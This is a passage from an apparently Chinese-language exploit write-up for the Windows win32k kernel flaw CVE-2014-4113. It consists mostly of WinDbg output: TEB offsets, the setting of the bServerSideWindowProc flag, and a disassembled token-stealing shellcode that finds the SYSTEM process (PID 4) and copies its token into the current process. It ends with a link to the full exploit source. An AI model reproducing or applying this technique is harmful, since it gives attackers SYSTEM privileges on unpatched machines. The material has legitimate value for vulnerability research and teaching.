pti 可以通过TEB结构获取,x64下用户层中,gs:[0x30] 指向TEB
kd> dt _teb
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x038 EnvironmentPointer : Ptr64 Void
+0x040 ClientId : _CLIENT_ID
+0x050 ActiveRpcHandle : Ptr64 Void
+0x058 ThreadLocalStoragePointer : Ptr64 Void
+0x060 ProcessEnvironmentBlock : Ptr64 _PEB
+0x068 LastErrorValue : Uint4B
+0x06c CountOfOwnedCriticalSections : Uint4B
+0x070 CsrClientThread : Ptr64 Void
+0x078 Win32ThreadInfo : Ptr64 Void <------ pti
+0x080 User32Reserved : [26] Uint4B
+0x0e8 UserReserved : [5] Uint4B
00000001`00000025 == 00000100B == 04H
bServerSideWindowProc标志位,表示tagwnd对象的窗口过程能否运行在内核中,这里是固定的就可以了
00000001`0000008b == shellcode地址
关于shellcode 这里就简单的使用system token替换的方式给当前进程提升权限,主要步骤包括:
a.得到当前进程的 EPROCESS 对象(x64下,gs指向kpcr),参考函数 PsGetCurrentProcess
kd> u PsGetCurrentProcess
nt!PsGetCurrentProcess:
fffff800`028afbd0 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff800`028afbd9 488b4070 mov rax,qword ptr [rax+70h]
fffff800`028afbdd c3 ret
b.从 ActiveProcessLinks 中找到进程id是4的system进程.
c.将system进程的token替换到当前进程
更新代码后,运行程序,鼠标放在第一个菜单窗口,当第二个窗口弹出来后,点击窗口,最终由win32k模块直接执行shellcode:
win32k!xxxSendMessageTimeout+0x26f:
fffff960`0016a5a3 ff9590000000 call qword ptr [rbp+90h] ss:0018:00000001`0000008b=00000000ffff0000
kd> u poi(rbp+90)
00000000`ffff0000 65488b142588010000 mov rdx,qword ptr gs:[188h]
00000000`ffff0009 4c8b4270 mov r8,qword ptr [rdx+70h]
00000000`ffff000d 4d8b8888010000 mov r9,qword ptr [r8+188h]
00000000`ffff0014 498b09 mov rcx,qword ptr [r9]
00000000`ffff0017 488b51f8 mov rdx,qword ptr [rcx-8]
00000000`ffff001b 4883fa04 cmp rdx,4
00000000`ffff001f 7405 je 00000000`ffff0026
00000000`ffff0021 488b09 mov rcx,qword ptr [rcx]
exploit : https://github.com/B2AHEX/cveXXXX/blob/master/CVE-2014-4113/exploit.cpp